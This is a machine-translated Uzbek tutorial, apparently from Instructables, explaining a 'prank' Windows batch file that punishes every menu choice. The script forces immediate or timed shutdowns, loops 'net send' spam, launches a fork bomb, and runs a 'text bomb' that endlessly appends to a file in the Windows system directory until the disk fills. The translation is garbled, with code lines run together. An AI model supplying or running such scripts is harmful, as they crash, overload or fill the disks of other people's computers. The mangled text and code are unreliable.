Mundarija:
2025 Muallif: John Day | [email protected]. Oxirgi o'zgartirilgan: 2025-01-13 06:58
OK, men avvalgi darsimda aytganimdek, (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), men 3 qismdan iborat keng qo'llanma yaratishni rejalashtiryapman. Siz xohlagan narsani partiya bilan bajarish uchun bilishingiz kerak bo'lgan narsalarning ko'pini qamrab olishi kerak. Quyida biriktirilgan fayl - bu men yaratgan raqobatdosh.bat (partiya) fayli, laconix / inevitable_chaos
1 -qadam: Matnimni, sarlavhalarini va Cls -ni formatlash
Boshlash uchun men kodni ko'rsataman;
@echo offtitle tanlovlari.. [laconix tomonidan] clsecho Sizda ba'zi tanlovlar bor … echo.. lekin noto'g'ri tanlov qiling va buning oqibatida azob cheking! echo.pause: menuclsecho.echo.echo.echo.echo. echo / ------------------------------ / echo / 1 va 3 oralig'idagi sonni tanlang / echo (-1.. 2.. 3 -) echo / Har bir tanlovdan boshqasi yomon! /echo / ------------------------------/ sarlavhasi asosan buyruq irodasi uchun sarlavhani belgilaydi, shuning uchun instructables.com sarlavhasi ajoyib! cls har qanday kirish yoki chiqishning cmd -ni tozalaydi Siz hozircha echo nima qilishini bilishingiz kerak, lekin echo. formatlash uchun foydali bo'lgan yangi qatorni yaratadi.: menyu, men buni avvalgi darsimda yoritgan bo'lsam -da, yana bir bor takrorlashga arziydi, lekin bu dasturda siz xohlagan vaqtda GOTO qilishingiz mumkin bo'lgan nuqtani yaratadi, qolgan qismi esa formatlashdan iborat.: D
2 -qadam: o'zgarmaydiganlarni ishga tushirish, foydalanuvchi ma'lumotlarini olish va if bayonoti
Men yana sizga kodni ko'rsataman, keyin tushuntirib beraman;
tanlashni tanlash = nadaecho?.: Bu nima va: ap? clsif % tanlov % == 1 GOTO birif % tanlov % == 2 GOTO ikkiif % tanlov % == 3 GOTO threemsg * Na 1, 2 yoki 3 eh? Afsuski, xayr, xayr … o'chirish -s -f -t 00 set choice = nada, bu nima qilsa, boshlang'ich qiymati yoki "nada" bilan o'zgaruvchini yaratish yoki ishga tushirish, yoki hech narsa emas.: D O'zgaruvchi kerak bo'lmaguncha yoki dastur yopilmaguncha siz uchun ma'lumotlarni saqlaydigan konteynerga o'xshaydi. set /p ni tanlagan = bu foydalanuvchi buyrug'ini buyruq satriga ega bo'lishni bildiruvchi argument bilan /p yordamida ishlatadi. Shunday qilib, asosan /p tanlash = qaysi raqam? Bu savol berish va javobni yozish kabidir. agar if ifodasi shunday ishlasa. agar shart == rost dothisShunday qilib, asosan, agar % tanlov % 1 GOTOga teng bo'lsa, bu to'g'ri emas, u faqat keyingi qatorga o'tadi. shutdown -s -f -t 00 faqat o'z kompyuterini o'chirib qo'yadi va barcha dasturlarni darhol yopishga majbur qiladi.
3 -qadam: Quvurlar buyrug'i, asinxron buyruqlar va atrof -muhit o'zgaruvchilari
Shunga qaramay, avval kod, keyin tushuntirish;
: onemsg * Demak, siz #1 ni tanladingiz, o'zingizni xavfsiz deb bildingizmi? msg * YANGI!: netspamnet send * laconix qoidalari! GOTO netspam: twoshutdown -s -t 10pausemsg * Umid qilamanki, siz buni o'z vaqtida olasiz, chunki bu xavfsiz edi… o'chirish -aGOTO jahannam: threemsg * Bu xavfsiz raqam … pauza: forkstart choices.bat | msg * Xotirani o'chirish! GOTO fork: hellmsg * hazil, hammasi yomon!: textbombecho laconix qoidalari! >> %systemroot %/laconix.txtGOTO: textbomb: oneBasikan cheksiz GOTO pastadiriga kiradi. Birinchi darslikdagi vilkalar bomba misoli 2 -ga juda o'xshaydi.: Ikkita -s -t 10 "o'chirish buyrug'ini bajaring, agar ular o'z vaqtida tugmachani bosmasa, kompyuterni o'chirib qo'yadi. Ularni GOTO jahannamga aylantiradi: do'zax Ularga hech biri yaxshi emasligini aytadi, men matnli bomba deb atayman. Qaysi quvurlar (>>) echo laconix qoidalari! " %systemroot %/laconix.txt ga / n cheksiz GOTO tsikli. %systemroot % - bu muhit drayveri nomidan qat'i nazar, faylni/windows/katalogiga saqlashni bildiruvchi muhit o'zgaruvchisi. C;/, E:/, Z:/, va boshqalar: uchtasi ularni xavfsiz raqam deb o'ylashga undaydi Birinchi darslikdagidek vilka bombasiga aylanadi, lekin bitta asosiy farq bilan. Asinxron buyruqlar; start choices.bat | msg * Xotirani o'chirish ! | asinxron buyruqlarni bildiradi, ya'ni ular bir vaqtning o'zida bajarilgan.
4 -qadam: nima? So'z
Qo'llanmani o'qiganingiz uchun tashakkur, video sizga yoqdi degan umiddaman. Biror narsa o'rgandi.
Umid qilamanki, siz kompyuterlarga va mening ko'rsatmalarimga qiziqishni davom ettirasiz. Tez orada ushbu seriyadagi oxirgi darsligimga e'tibor bering!